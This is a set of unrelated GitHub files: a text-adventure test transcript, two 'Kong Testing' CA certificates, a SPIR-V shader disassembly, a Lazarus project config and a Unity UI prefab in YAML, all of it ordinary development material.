.f ../test_bring_files/test_bring_8.txt >>> End context you are in the kitchen to the south there is the living_room you see some book -s ? what do you want to do >>> End context you are in the library to the south there is the hall you see nothing ? what do you want to do >>> End context you are in the bathroom to the south there is the corridor you see nothing ? what do you want to do >>> End context you are in the veranda to the east there is the living_room you see nothing ? what do you want to do >>> End context you are in the living_room to the east there is the hall to the north there is the kitchen to the west there is the veranda you see nothing ? what do you want to do >>> End context you are in the hall to the east there is the corridor to the north there is the library to the west there is the living_room to the south there is the garden you see nothing Alfred is here ? what do you want to do >>> End context you are in the corridor to the east there is the bedroom to the north there is the bathroom to the west there is the hall to the south there is the studio you see nothing ? what do you want to do >>> End context you are in the bedroom to the west there is the corridor you see nothing ? what do you want to do >>> End context you are in the garden to the north there is the hall to the south there is the street you see nothing ? what do you want to do >>> End context you are in the studio to the north there is the corridor you see nothing ? what do you want to do >>> End context you are in the street to the north there is the garden you see nothing ? what do you want to do >>> End context you are in the hall to the east there is the corridor to the north there is the library to the west there is the living_room to the south there is the garden you see nothing Alfred is here ? what do you want to do bring a book to Alfred .x >>> End context you are in the living_room to the east there is the hall to the north there is the kitchen to the west there is the veranda you see nothing ? what do you want to do .x -> north . north >>> End context you are in the kitchen to the south there is the living_room you see some book -s ? what do you want to do .x -> take the ... -> book . take the book you take a book .x -> south . south >>> End context you are in the living_room to the east there is the hall to the north there is the kitchen to the west there is the veranda you see nothing ? what do you want to do .x -> east . east >>> End context you are in the hall to the east there is the corridor to the north there is the library to the west there is the living_room to the south there is the garden you see nothing Alfred is here ? what do you want to do .x -> give the ... -> book to Alfred . give the book to Alfred you give the book to Alfred .x -> . >>> End context .q .q
{ "pile_set_name": "Github" }
-----BEGIN CERTIFICATE----- MIIFTDCCAzSgAwIBAgICIAAwDQYJKoZIhvcNAQELBQAwYDELMAkGA1UEBhMCVVMx EzARBgNVBAgMCkNhbGlmb3JuaWExFTATBgNVBAoMDEtvbmcgVGVzdGluZzElMCMG A1UEAwwcS29uZyBUZXN0aW5nIEludGVybWlkaWF0ZSBDQTAeFw0xOTA1MDIxOTU1 MjFaFw0yOTA0MjgxOTU1MjFaME8xCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApDYWxp Zm9ybmlhMRUwEwYDVQQKDAxLb25nIFRlc3RpbmcxFDASBgNVBAMMC2V4YW1wbGUu Y29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqCozbPPts2H7CsUf 4KlyKwbCOjqUa7ZhBcXfX5KuEHOvAUZfJOlm2TCNbO1wMTI1QHwjn6a9HM1njhBG 4r9HH8CLckF83b247iJQbqUEjjvbb6DMTxjbC7dBunIikv6gUXeWGlRHupy/UEh8 K0Y2KM2fm+HEbKI6zvjg/wb7zb0agzNaKV6fyEourKL0Xjz8ePm3kH58HaUmqhfk PPf7GnGW1xk/aIm6tsi9wzj2VBI/T3E5hVnMGrJTYnXh5DoFQrbuLvWtOB6MdZcM BWN/he8ISvvhKrctjWvUjpWgoZE9bRoMxkzxpHF/agM++WlHJrJ7my3yRHN3LspF 4ER+/QIDAQABo4IBHzCCARswCQYDVR0TBAIwADARBglghkgBhvhCAQEEBAMCBkAw MwYJYIZIAYb4QgENBCYWJE9wZW5TU0wgR2VuZXJhdGVkIFNlcnZlciBDZXJ0aWZp Y2F0ZTAdBgNVHQ4EFgQUlpSl7QvKjdvJLx/sI3CXST3SqwowgYEGA1UdIwR6MHiA FAsOBA6X+G1iTyTwO8Zv0go7jRERoVykWjBYMQswCQYDVQQGEwJVUzETMBEGA1UE CAwKQ2FsaWZvcm5pYTEVMBMGA1UECgwMS29uZyBUZXN0aW5nMR0wGwYDVQQDDBRL b25nIFRlc3RpbmcgUm9vdCBDQYICEAAwDgYDVR0PAQH/BAQDAgWgMBMGA1UdJQQM MAoGCCsGAQUFBwMBMA0GCSqGSIb3DQEBCwUAA4ICAQA6kfAONRKeg0ygcyY8OwVi y9SGPKnKtOGjF2BSk74UF3bj63kx7utIQ0w5LZA3CwjcE2VzdPx+lQEDy/dbv442 2bWrc7kG0/Dcr92KoUbzuuI0kPRoM/4rcOb8shKG9txFL1j44a60SWlbvkoNUD88 vKZy2uSJ++OeQ7vuxrt2UDsfO2jRk74p/ztQibTX/cpwjvHrz2JcLTSxUZXK342x o7bWl1f7XMn8o7nPtNWHZq418uwFJ6OZO/rLc+FxE+31SnHYJUYC6/TSAg9kGomk Ws+K453QVoiPsG08Uz1JRjUQWotlEmqFAwax3kmfnrsiKmKy451CcwVAlyEIvnSb s2hEePHUaJltsatvFNPLnjcsOtqA46zJN0mv63BKuoa9fWAYr81D8wilcPgx534j KQcSv24cAoWesp/KhERK5G+F5mE0qnlCfMpFJFtfMjh+CDLbR//L4/0KQrSS/eRn ooeXinTpO5S2WOxk0W96rZMsBL2rBUI2qhfjBW8aQAiew4cMtddxryyUKskDlJPx bZXB2OmPibOOOTrTrBFkQ+tjKCuPKbOQDsIPTasZQKc2jK0boixXE8AXhN/A+3J4 muvYnypmWGb0jMLEQT2u+RQzCNDjIOEHBP50XnoEX3jkOgEwknje89VDm/JXcClR l5HH4/9/AbS7rFCRnphOjQ== -----END CERTIFICATE----- -----BEGIN CERTIFICATE----- MIIFmjCCA4KgAwIBAgICEAAwDQYJKoZIhvcNAQELBQAwWDELMAkGA1UEBhMCVVMx EzARBgNVBAgMCkNhbGlmb3JuaWExFTATBgNVBAoMDEtvbmcgVGVzdGluZzEdMBsG A1UEAwwUS29uZyBUZXN0aW5nIFJvb3QgQ0EwHhcNMTkwNTAyMTk0MDQ4WhcNMjkw NDI5MTk0MDQ4WjBgMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEV MBMGA1UECgwMS29uZyBUZXN0aW5nMSUwIwYDVQQDDBxLb25nIFRlc3RpbmcgSW50 ZXJtaWRpYXRlIENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0dnj oHlJmNM94vQnK2FIIQJm9OAVvyMtAAkBKL7Cxt8G062GHDhq6gjQ9enuNQE0l3Vv mSAh7N9gNlma6YbRB9VeG54BCuRQwCxveOBiwQvC2qrTzYI34kF/AeflrDOdzuLb zj5cLADKXGCbGDtrSPKUwdlkuLs3pRr/YAyIQr7zJtlLz+E0GBYp0GWnLs0FiLSP qSBWllC9u8gt2MiKyNlXw+kZ8lofOehCJzfFr6qagVklPw+8IpU6OGmRLFQVwVhp zdAJmAGmSo/AGNKGqDdjzC4N2l4uYGH6n2KmY2yxsLBGZgwtLDst3fK4a3Wa5Tj7 cUwCcGLGtfVTaIXZYbqQ0nGsaYUd/mhx3B3Jk1p3ILZ72nVYowhpj22ipPGal5hp ABh1MX3s/B+2ybWyDTtSaspcyhsRQsS6axB3DwLOLRy5Xp/kqEdConCtGCsjgm+U FzdupubXK+KIAmTKXDx8OM7Af/K7kLDfFTre40sEB6fwrWwH8yFojeqkA/Uqhn5S CzB0o4F3ON0xajsw2dRCziiq7pSe6ALLXetKpBr+xnVbUswH6BANUoDvh9thVPPx 1trkv+OuoJalkruZaT+38+iV9xwdqxnR7PUawqSyvrEAxjqUo7dDPsEuOpx1DJjO XwRJCUjd7Ux913Iks24BqpPhEQz/rZzJLBApRVsCAwEAAaNmMGQwHQYDVR0OBBYE FAsOBA6X+G1iTyTwO8Zv0go7jRERMB8GA1UdIwQYMBaAFAdP8giF4QLaR0HEj9N8 apTFYnD3MBIGA1UdEwEB/wQIMAYBAf8CAQAwDgYDVR0PAQH/BAQDAgGGMA0GCSqG SIb3DQEBCwUAA4ICAQAWzIvIVM32iurqM451Amz0HNDG9j84cORnnaRR5opFTr3P EqI3QkgCyP6YOs9t0QSbA4ur9WUzd3c9Ktj3qRRgTE+98JBOPO0rv+Kjj48aANDV 5tcbI9TZ9ap6g0jYr4XNT+KOO7E8QYlpY/wtokudCUDJE9vrsp1on4Bal2gjvCdh SU0C1lnj6q6kBdQSYHrcjiEIGJH21ayVoNaBVP/fxyCHz472w1xN220dxUI/GqB6 pjcuy9cHjJHJKJbrkdt2eDRAFP5cILXc3mzUoGUDHY2JA1gtOHV0p4ix9R9AfI9x snBEFiD8oIpcQay8MJH/z3NLEPLoBW+JaAAs89P+jcppea5N9vbiAkrPi687BFTP PWPdstyttw6KrvtPQR1+FsVFcGeTjo32/UrckJixdiOEZgHk+deXpp7JoRdcsgzD +okrsG79/LgS4icLmzNEp0IV36QckEq0+ALKDu6BXvWTkb5DB/FUrovZKJgkYeWj GKogyrPIXrYi725Ff306124kLbxiA+6iBbKUtCutQnvut78puC6iP+a2SrfsbUJ4 qpvBFOY29Mlww88oWNGTA8QeW84Y1EJbRkHavzSsMFB73sxidQW0cHNC5t9RCKAQ uibeZgK1Yk7YQKXdvbZvXwrgTcAjCdbppw2L6e0Uy+OGgNjnIps8K460SdaIiA== -----END CERTIFICATE-----
{ "pile_set_name": "Github" }
; SPIR-V ; Version: 1.0 ; Generator: Khronos Glslang Reference Front End; 7 ; Bound: 64 ; Schema: 0 OpCapability Shader %1 = OpExtInstImport "GLSL.std.450" OpMemoryModel Logical GLSL450 OpEntryPoint Fragment %main "main" %pos_1 %_entryPointOutput OpExecutionMode %main OriginUpperLeft OpSource HLSL 500 OpName %main "main" OpName %_main_vf4_ "@main(vf4;" OpName %pos "pos" OpName %Foo "Foo" OpMemberName %Foo 0 "a" OpMemberName %Foo 1 "b" OpName %foo "foo" OpName %Foo_0 "Foo" OpMemberName %Foo_0 0 "a" OpMemberName %Foo_0 1 "b" OpName %buf "buf" OpMemberName %buf 0 "results" OpMemberName %buf 1 "bar" OpName %_ "" OpName %pos_0 "pos" OpName %pos_1 "pos" OpName %_entryPointOutput "@entryPointOutput" OpName %param "param" OpMemberDecorate %Foo_0 0 Offset 0 OpMemberDecorate %Foo_0 1 Offset 12 OpDecorate %_arr_Foo_0_uint_16 ArrayStride 16 OpMemberDecorate %buf 0 Offset 0 OpMemberDecorate %buf 1 Offset 256 OpDecorate %buf Block OpDecorate %_ DescriptorSet 0 OpDecorate %_ Binding 0 OpDecorate %pos_1 BuiltIn FragCoord OpDecorate %_entryPointOutput Location 0 %void = OpTypeVoid %3 = OpTypeFunction %void %float = OpTypeFloat 32 %v4float = OpTypeVector %float 4 %_ptr_Function_v4float = OpTypePointer Function %v4float %9 = OpTypeFunction %v4float %_ptr_Function_v4float %v3float = OpTypeVector %float 3 %Foo = OpTypeStruct %v3float %float %_ptr_Function_Foo = OpTypePointer Function %Foo %Foo_0 = OpTypeStruct %v3float %float %uint = OpTypeInt 32 0 %uint_16 = OpConstant %uint 16 %_arr_Foo_0_uint_16 = OpTypeArray %Foo_0 %uint_16 %buf = OpTypeStruct %_arr_Foo_0_uint_16 %v4float %_ptr_Uniform_buf = OpTypePointer Uniform %buf %_ = OpVariable %_ptr_Uniform_buf Uniform %int = OpTypeInt 32 1 %int_0 = OpConstant %int 0 %uint_0 = OpConstant %uint 0 %_ptr_Function_float = OpTypePointer Function %float %int_16 = OpConstant %int 16 %_ptr_Uniform_Foo_0 = OpTypePointer Uniform %Foo_0 %_ptr_Function_v3float = OpTypePointer Function %v3float %int_1 = OpConstant %int 1 %_ptr_Uniform_v4float = OpTypePointer Uniform %v4float %float_0 = OpConstant %float 0 %_ptr_Input_v4float = OpTypePointer Input %v4float %pos_1 = OpVariable %_ptr_Input_v4float Input %_ptr_Output_v4float = OpTypePointer Output %v4float %_entryPointOutput = OpVariable %_ptr_Output_v4float Output %main = OpFunction %void None %3 %5 = OpLabel %pos_0 = OpVariable %_ptr_Function_v4float Function %param = OpVariable %_ptr_Function_v4float Function %58 = OpLoad %v4float %pos_1 OpStore %pos_0 %58 %62 = OpLoad %v4float %pos_0 OpStore %param %62 %63 = OpFunctionCall %v4float %_main_vf4_ %param OpStore %_entryPointOutput %63 OpReturn OpFunctionEnd %_main_vf4_ = OpFunction %v4float None %9 %pos = OpFunctionParameter %_ptr_Function_v4float %12 = OpLabel %foo = OpVariable %_ptr_Function_Foo Function %28 = OpAccessChain %_ptr_Function_float %pos %uint_0 %29 = OpLoad %float %28 %30 = OpConvertFToS %int %29 %32 = OpSMod %int %30 %int_16 %34 = OpAccessChain %_ptr_Uniform_Foo_0 %_ %int_0 %32 %35 = OpLoad %Foo_0 %34 %36 = OpCompositeExtract %v3float %35 0 %38 = OpAccessChain %_ptr_Function_v3float %foo %int_0 OpStore %38 %36 %39 = OpCompositeExtract %float %35 1 %41 = OpAccessChain %_ptr_Function_float %foo %int_1 OpStore %41 %39 %42 = OpAccessChain %_ptr_Function_v3float %foo %int_0 %43 = OpLoad %v3float %42 %45 = OpAccessChain %_ptr_Uniform_v4float %_ %int_1 %46 = OpLoad %v4float %45 %47 = OpVectorShuffle %v3float %46 %46 0 1 2 %48 = OpDot %float %43 %47 %49 = OpAccessChain %_ptr_Function_float %foo %int_1 %50 = OpLoad %float %49 %52 = OpCompositeConstruct %v4float %48 %50 %float_0 %float_0 OpReturnValue %52 OpFunctionEnd
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <CONFIG> <ProjectOptions> <Version Value="10"/> <General> <SessionStorage Value="InProjectDir"/> <MainUnit Value="0"/> <Title Value="testhash"/> <ResourceType Value="res"/> <UseXPManifest Value="True"/> <Icon Value="0"/> </General> <BuildModes Count="1"> <Item1 Name="Default" Default="True"/> </BuildModes> <PublishOptions> <Version Value="2"/> </PublishOptions> <RunParams> <local> <FormatVersion Value="1"/> </local> </RunParams> <RequiredPackages Count="2"> <Item1> <PackageName Value="castle_base"/> </Item1> <Item2> <PackageName Value="LCL"/> </Item2> </RequiredPackages> <Units Count="2"> <Unit0> <Filename Value="testhash.pas"/> <IsPartOfProject Value="True"/> </Unit0> <Unit1> <Filename Value="testhashunit.pas"/> <IsPartOfProject Value="True"/> <ComponentName Value="Form1"/> <HasResources Value="True"/> <ResourceBaseClass Value="Form"/> </Unit1> </Units> </ProjectOptions> <CompilerOptions> <Version Value="11"/> <Target> <Filename Value="testhash"/> </Target> <SearchPaths> <IncludeFiles Value="$(ProjOutDir)"/> <UnitOutputDirectory Value="lib/$(TargetCPU)-$(TargetOS)"/> </SearchPaths> <Linking> <Options> <Win32> <GraphicApplication Value="True"/> </Win32> </Options> </Linking> </CompilerOptions> <Debugging> <Exceptions Count="3"> <Item1> <Name Value="EAbort"/> </Item1> <Item2> <Name Value="ECodetoolError"/> </Item2> <Item3> <Name Value="EFOpenError"/> </Item3> </Exceptions> </Debugging> </CONFIG>
{ "pile_set_name": "Github" }
%YAML 1.1 %TAG !u! tag:unity3d.com,2011: --- !u!1 &5417053016401900264 GameObject: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} serializedVersion: 6 m_Component: - component: {fileID: 5417053016401900247} - component: {fileID: 5417053016401900245} - component: {fileID: 5417053016401900246} m_Layer: 5 m_Name: GameObject m_TagString: Untagged m_Icon: {fileID: 0} m_NavMeshLayer: 0 m_StaticEditorFlags: 0 m_IsActive: 1 --- !u!224 &5417053016401900247 RectTransform: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 5417053016401900264} m_LocalRotation: {x: -0, y: -0, z: -0, w: 1} m_LocalPosition: {x: 0, y: 0, z: 0} m_LocalScale: {x: 1, y: 1, z: 1} m_Children: - {fileID: 3010041089604644097} - {fileID: 5417053018035381816} m_Father: {fileID: 5417053016824185910} m_RootOrder: 1 m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0} m_AnchorMin: {x: 0, y: 1} m_AnchorMax: {x: 0, y: 1} m_AnchoredPosition: {x: 416, y: 0} m_SizeDelta: {x: 384, y: 0} m_Pivot: {x: 0, y: 1} --- !u!114 &5417053016401900245 MonoBehaviour: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 5417053016401900264} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: 30649d3a9faa99c48a7b1166b86bf2a0, type: 3} m_Name: m_EditorClassIdentifier: m_Padding: m_Left: 0 m_Right: 0 m_Top: 0 m_Bottom: 0 m_ChildAlignment: 4 m_Spacing: 16 m_ChildForceExpandWidth: 0 m_ChildForceExpandHeight: 0 m_ChildControlWidth: 0 m_ChildControlHeight: 0 m_ChildScaleWidth: 0 m_ChildScaleHeight: 0 --- !u!114 &5417053016401900246 MonoBehaviour: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 5417053016401900264} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: 3245ec927659c4140ac4f8d17403cc18, type: 3} m_Name: m_EditorClassIdentifier: m_HorizontalFit: 0 m_VerticalFit: 2 --- !u!1 &5417053016815448995 GameObject: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} serializedVersion: 6 m_Component: - component: {fileID: 5417053016815448994} - component: {fileID: 5417053016815449006} - component: {fileID: 5417053016815449007} - component: {fileID: 5417053016815448992} - component: {fileID: 5417053016815448993} m_Layer: 5 m_Name: Description m_TagString: Untagged m_Icon: {fileID: 0} m_NavMeshLayer: 0 m_StaticEditorFlags: 0 m_IsActive: 1 --- !u!224 &5417053016815448994 RectTransform: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 5417053016815448995} m_LocalRotation: {x: 0, y: 0, z: 0, w: 1} m_LocalPosition: {x: 0, y: 0, z: 0} m_LocalScale: {x: 1, y: 1, z: 1} m_Children: [] m_Father: {fileID: 5417053017758573656} m_RootOrder: 1 m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0} m_AnchorMin: {x: 0, y: 1} m_AnchorMax: {x: 0, y: 1} m_AnchoredPosition: {x: 0, y: -72} m_SizeDelta: {x: 512, y: 0} m_Pivot: {x: 0, y: 1} --- !u!222 &5417053016815449006 CanvasRenderer: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 5417053016815448995} m_CullTransparentMesh: 0 --- !u!114 &5417053016815449007 MonoBehaviour: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 5417053016815448995} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: 5f7201a12d95ffc409449d95f23cf332, type: 3} m_Name: m_EditorClassIdentifier: m_Material: {fileID: 0} m_Color: {r: 1, g: 1, b: 1, a: 0.5019608} m_RaycastTarget: 0 m_OnCullStateChanged: m_PersistentCalls: m_Calls: [] m_FontData: m_Font: {fileID: 12800000, guid: 7a6b59cdd73e04e37b341fa45c996f42, type: 3} m_FontSize: 28 m_FontStyle: 0 m_BestFit: 0 m_MinSize: 2 m_MaxSize: 40 m_Alignment: 0 m_AlignByGeometry: 0 m_RichText: 0 m_HorizontalOverflow: 0 m_VerticalOverflow: 1 m_LineSpacing: 1 m_Text: sdfsdf --- !u!114 &5417053016815448992 MonoBehaviour: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 5417053016815448995} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: 3245ec927659c4140ac4f8d17403cc18, type: 3} m_Name: m_EditorClassIdentifier: m_HorizontalFit: 0 m_VerticalFit: 2 --- !u!114 &5417053016815448993 MonoBehaviour: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 5417053016815448995} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: 97bc2ebab6563400c95b036136d26ea6, type: 3} m_Name: m_EditorClassIdentifier: m_Inverse: 0 m_MaskInteraction: 85 m_UseStencil: 0 --- !u!1 &5417053016824185911 GameObject: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} serializedVersion: 6 m_Component: - component: {fileID: 5417053016824185910} - component: {fileID: 5417053016824185908} - component: {fileID: 5417053016824185909} - component: {fileID: 1768076760616490064} - component: {fileID: -895715441551669406} - component: {fileID: -6514255099567271695} - component: {fileID: 4921708648284386754} m_Layer: 5 m_Name: InputPreferenceElement m_TagString: Untagged m_Icon: {fileID: 0} m_NavMeshLayer: 0 m_StaticEditorFlags: 0 m_IsActive: 1 --- !u!224 &5417053016824185910 RectTransform: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 5417053016824185911} m_LocalRotation: {x: -0, y: -0, z: -0, w: 1} m_LocalPosition: {x: 0, y: 0, z: 0} m_LocalScale: {x: 1, y: 1, z: 1} m_Children: - {fileID: 5417053017758573656} - {fileID: 5417053016401900247} m_Father: {fileID: 0} m_RootOrder: 0 m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0} m_AnchorMin: {x: 0, y: 1} m_AnchorMax: {x: 0, y: 1} m_AnchoredPosition: {x: 0, y: 0} m_SizeDelta: {x: 928, y: 0} m_Pivot: {x: 0, y: 1} --- !u!114 &5417053016824185908 MonoBehaviour: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 5417053016824185911} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: 30649d3a9faa99c48a7b1166b86bf2a0, type: 3} m_Name: m_EditorClassIdentifier: m_Padding: m_Left: 0 m_Right: 0 m_Top: 0 m_Bottom: 0 m_ChildAlignment: 4 m_Spacing: 32 m_ChildForceExpandWidth: 1 m_ChildForceExpandHeight: 1 m_ChildControlWidth: 0 m_ChildControlHeight: 0 m_ChildScaleWidth: 0 m_ChildScaleHeight: 0 --- !u!114 &5417053016824185909 MonoBehaviour: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 5417053016824185911} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: 3245ec927659c4140ac4f8d17403cc18, type: 3} m_Name: m_EditorClassIdentifier: m_HorizontalFit: 0 m_VerticalFit: 2 --- !u!114 &1768076760616490064 MonoBehaviour: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 5417053016824185911} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: 14b87ede40564f05b71148188b5caebf, type: 3} m_Name: m_EditorClassIdentifier: title: {fileID: 5417053017546194813} description: {fileID: 5417053016815449007} saveSettingsOnChange: 0 inputField: {fileID: 3010041090148477667} unit: {fileID: 5417053018035381797} placeholder: {fileID: 3010041090037029357} --- !u!114 &-895715441551669406 MonoBehaviour: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 5417053016824185911} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: 31f6a0ba801343f3a4a9d3fb3a8022d4, type: 3} m_Name: m_EditorClassIdentifier: --- !u!223 &-6514255099567271695 Canvas: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 5417053016824185911} m_Enabled: 1 serializedVersion: 3 m_RenderMode: 2 m_Camera: {fileID: 0} m_PlaneDistance: 100 m_PixelPerfect: 0 m_ReceivesEvents: 1 m_OverrideSorting: 0 m_OverridePixelPerfect: 0 m_SortingBucketNormalizedSize: 0 m_AdditionalShaderChannelsFlag: 0 m_SortingLayerID: 0 m_SortingOrder: 0 m_TargetDisplay: 0 --- !u!114 &4921708648284386754 MonoBehaviour: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 5417053016824185911} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: dc42784cf147c0c48a680349fa168899, type: 3} m_Name: m_EditorClassIdentifier: m_IgnoreReversedGraphics: 1 m_BlockingObjects: 0 m_BlockingMask: serializedVersion: 2 m_Bits: 4294967295 --- !u!1 &5417053017546194801 GameObject: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} serializedVersion: 6 m_Component: - component: {fileID: 5417053017546194800} - component: {fileID: 5417053017546194812} - component: {fileID: 5417053017546194813} - component: {fileID: 5417053017546194814} - component: {fileID: 5417053017546194815} m_Layer: 5 m_Name: Name m_TagString: Untagged m_Icon: {fileID: 0} m_NavMeshLayer: 0 m_StaticEditorFlags: 0 m_IsActive: 1 --- !u!224 &5417053017546194800 RectTransform: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 5417053017546194801} m_LocalRotation: {x: 0, y: 0, z: 0, w: 1} m_LocalPosition: {x: 0, y: 0, z: 0} m_LocalScale: {x: 1, y: 1, z: 1} m_Children: [] m_Father: {fileID: 5417053017758573656} m_RootOrder: 0 m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0} m_AnchorMin: {x: 0, y: 1} m_AnchorMax: {x: 0, y: 1} m_AnchoredPosition: {x: 0, y: -24} m_SizeDelta: {x: 512, y: 0} m_Pivot: {x: 0, y: 1} --- !u!222 &5417053017546194812 CanvasRenderer: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 5417053017546194801} m_CullTransparentMesh: 0 --- !u!114 &5417053017546194813 MonoBehaviour: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 5417053017546194801} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: 5f7201a12d95ffc409449d95f23cf332, type: 3} m_Name: m_EditorClassIdentifier: m_Material: {fileID: 0} m_Color: {r: 1, g: 1, b: 1, a: 1} m_RaycastTarget: 0 m_OnCullStateChanged: m_PersistentCalls: m_Calls: [] m_FontData: m_Font: {fileID: 12800000, guid: 5c2f1ea2249b645bbaa8638ed1c82b34, type: 3} m_FontSize: 36 m_FontStyle: 0 m_BestFit: 0 m_MinSize: 3 m_MaxSize: 40 m_Alignment: 0 m_AlignByGeometry: 0 m_RichText: 0 m_HorizontalOverflow: 0 m_VerticalOverflow: 1 m_LineSpacing: 1 m_Text: Base note offset --- !u!114 &5417053017546194814 MonoBehaviour: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 5417053017546194801} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: 3245ec927659c4140ac4f8d17403cc18, type: 3} m_Name: m_EditorClassIdentifier: m_HorizontalFit: 0 m_VerticalFit: 2 --- !u!114 &5417053017546194815 MonoBehaviour: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 5417053017546194801} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: 97bc2ebab6563400c95b036136d26ea6, type: 3} m_Name: m_EditorClassIdentifier: m_Inverse: 0 m_MaskInteraction: 85 m_UseStencil: 0 --- !u!1 &5417053017758573657 GameObject: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} serializedVersion: 6 m_Component: - component: {fileID: 5417053017758573656} - component: {fileID: 5417053017758573638} - component: {fileID: 5417053017758573639} - component: {fileID: 8771048921060398939} m_Layer: 5 m_Name: Texts m_TagString: Untagged m_Icon: {fileID: 0} m_NavMeshLayer: 0 m_StaticEditorFlags: 0 m_IsActive: 1 --- !u!224 &5417053017758573656 RectTransform: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 5417053017758573657} m_LocalRotation: {x: 0, y: 0, z: 0, w: 1} m_LocalPosition: {x: 0, y: 0, z: 0} m_LocalScale: {x: 1, y: 1, z: 1} m_Children: - {fileID: 5417053017546194800} - {fileID: 5417053016815448994} m_Father: {fileID: 5417053016824185910} m_RootOrder: 0 m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0} m_AnchorMin: {x: 0, y: 0} m_AnchorMax: {x: 0, y: 0} 